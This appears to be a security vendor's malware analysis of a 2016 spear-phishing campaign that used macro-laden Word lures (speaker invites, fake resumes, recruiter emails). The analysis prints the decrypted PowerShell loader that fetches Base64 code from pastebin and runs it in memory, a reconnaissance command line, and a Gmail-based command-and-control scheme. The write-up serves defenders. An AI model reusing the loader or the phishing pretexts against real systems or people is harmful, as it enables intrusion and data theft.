

Below are a few examples of the spear phishing email used in this attack.

Case 1

Target: JRo<xx@trimmed>.com

Jenna is Senior Director of Program Management at the targeted firm. The attacker learned that she is a strong supporter of women leadership and speaks on this topic often. Accordingly, the attacker formed the email inviting her to speak at a certain event. The email read as follows:




Figure 1

The attacker wrote back with an apt reply, which also contained a malicious attachment.




Figure 2

Malicious document analysis:

Name: Women in Leadership and Technology - Keynote - 2016.docm

MD5: 557092B2267782D05F5C3FE07E32F1BB

Quick Heal Detection name: O97M.Dropper.AS

Decoy:




Figure 3

Case 2

Targets:

- Robert<xx@trimmed>.com
- Stephanie<xx@trimmed>.com
- Victoria<xx@trimmed>.com
- Op<xx@trimmed>.com

The attacker impersonated themselves as a targeted firm's customer and emailed the company informing that their dashboard has crashed. The attacker asked for support by providing fake screen shots of the problem.




Figure 4

Malicious document analysis:**Name:** <trimmed>Crashes.docm**MD5:** A64CCAC76400F8F852524C8D8CB82B1E
B2F6698CCF21EBF656CFF340173BA070**Quick Heal Detection name:** O97M.Dropper.AS**Decoy Document:**



Figure 5

Case 3

Targets:

Sst<xx@trimmed>.com

Db<xx@trimmed>.com

Sarah<xx@trimmed>.com

james<xx@trimmed>.com

The attacker applied for a job at the targeted firm and attached a fake resume containing macro.




Figure 6

Malicious document analysis:

Name: Ryan Herring - Resume.docm

MD5: 90BC8DD5C2608CF2527B8A37FAD490B3

Quick Heal Detection name: O97M.Dropper.AS

Decoy Document:




Figure 7

Case 4

Targets:

jarrett<xx@trimmed>.com

Steven<xx@trimmed>.com

Sam<xx@trimmed>.com

Under the pretense of a recruiter of an organization, the attacker emailed some employees at the targeted firm asking them to apply for the position. The email contained malicious attachments.

Mail Data:




Figure 8

Malicious Document Analysis:

Name: Job Description - Credit Suisse - Charlotte.docm

Job Description - Credit Suisse - Austin.docm

Jarrett - Job Description.docm

MD5: D944D1F0A8DE3BDDDB2E1C6ED0AAB2F42

895AF5D409C087A16364E391DB75A04C

3F6E7986C08804E5175AE80A71BF17AE

Quick Heal Detection name: O97M.Dropper.AS

Decoy Document:



Figure 9

Case 5

The attacker made use of news related to the targeted firm for crafting malicious documents.

Analysis:

Name: <trimmed>.com Sales Integration and Improvement Questionnaire.docm

MD5: 53B9D7D3091B82601380816FB141972B

Quick Heal Detection name: O97M.Dropper.AS

Decoy:

As part of the impending acquisition of [redacted] by [redacted].com, we are asking for improvements and suggestions we can make to ensure our seamless integration with the [redacted].com sales team. This strategic enhancement initiative will help us proactively leverage our acquisition with [redacted].com. Please fill out the following and email your response to [Amber.Smith@\[redacted\].com](mailto:Amber.Smith@[redacted].com) no later than March 8th, 2016. We are encouraging you to pass this along to other sales team members who may be interested in creating the future of sales here at [redacted]. Thank you for helping to create a more effective environment for us as we integrate with [redacted].com.

Full name:

Office Phone:

|

Email:

Figure 10

Technical analysis of malware components

The malicious document uses macro and downloads a BAT file from

<http://pastebin.com/raw/vC4X1eRQ> to “%Startup%\DefenderUpdate.bat”

It also drops a BAT file at the following location:

%Appdata%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefenderUpdate.bat

And creates a scheduled task named “Windows Update Service” for it.

Activity of DefenderUpdate.bat and WindowsDefenderUpdate.bat:

Both the files use PowerShell for executing the encrypted commands in the following way:

“powershell.exe -WindowStyle Hidden -NoLogo -EncodedCommand DQAKACQ.....”

After decryption of the encrypted commands, we found the following code:

```
$webClient = New-Object System.Net.WebClient;
$response = $webClient.DownloadString('http://pastebin.com/raw/?????');
$rawBytes = [System.Convert]::FromBase64String($response)
$loadedAssembly = [Reflection.Assembly]::Load($rawBytes)
[WindowsDefenderUpdate]::UpdateWindowsDefender()
```

With the above code, it downloads DLL and loads it into the memory and executes “UpdateWindowsDefender()” function from it.

URL paths for DLL:

<http://pastebin.com/raw/vfhYgmtN>

<http://pastebin.com/raw/MgMmKxUi>

both DLL are created with .Net.

Analysis of Main Component: WindowsDefender.dll

One interesting thing about this malware is, it did not drop any executable on the physical drive. WindowsDefenderUpdate.bat just reads data in the memory from “pastebin.com/raw/?????” which is in Base64 encoded format. It decodes and loads into the process memory of “powershell.exe” and executes “UpdateWindowsDefender()” function from it.

MD5: BB74C038CCC51A1D630923B1BFC9BBAC
6D24132BA18BB1EC3783F774E3CE2938

WindowsDefender.dll mainly performs the following activities:

1. Uploads specified files
2. Download and execute file
3. Executes any command from command prompt


The malware sends and receives data and commands from a personal Gmail account.

The detailed activity is as follows:

1. Checkin

When malware is executed, it sends the system information via email.

The malware sends an email from “Amber.Nx.Smith@gmail.com” with name “Jason Hedges” to “John Benson” whose email is “Amber.Xn.Smith@gmail.com” consisting the following content encrypted with AES.




Thereafter, the malware executes the following command from the command prompt to collect more information about the infected system:

```
"cmd.exe \c whoami & set & ipconfig /all & route print & net use"
```

It encrypts the result of the above command with AES and sends it to Amber.Xn.Smith@gmail.com (John Benson).

2. Check Work Queue:

The malware enumerates all Inbox emails of Amber.Nx.Smith@gmail.com, if it finds emails with the following structure:



Commands


1. EXECUTE

If the command is EXECUTE, it executes the following process:

Cmd.exe \c [CommandData]


- here [CommandData] is any command which can be executed via the command prompt.

The result of this is encrypted with AES and emailed to Amber.Xn.Smith@gmail.com (John Benson), in the following format:



2. RETRIEVE_FILE

If the command is RETRIEVE_FILE, it uploads the file specified in the CommandData.



3. DOWNLOAD_DECRYPT_AND_EXECUTE

Upon receiving the `DOWNLOAD_DECRYPT_AND_EXECUTE` command, the malware downloads the file from the specified URL in `CommandData`. It decodes the Base64 data and drops the file at Desktop location to execute the same.

Conclusion

The attacker targeted the victim firm by sending spear phishing emails to its employees. The attack used non-executable components like BAT file and PowerShell scripts to avoid detection by Security Vendors and suspicion by Behavior-based detection systems. The creation of executable files used in this attack shows that the attack began in March 2016.

The attacker is not using any communication server but a personal Gmail account sending commands. They also used public file hosting site Pastebin.com to host the malicious components. The code in binary is not complex but we may expect complex versions of such binaries in the future, which will further make analysis a challenge. Attacks on such types of private sectors can lead to bigger concerns for data theft.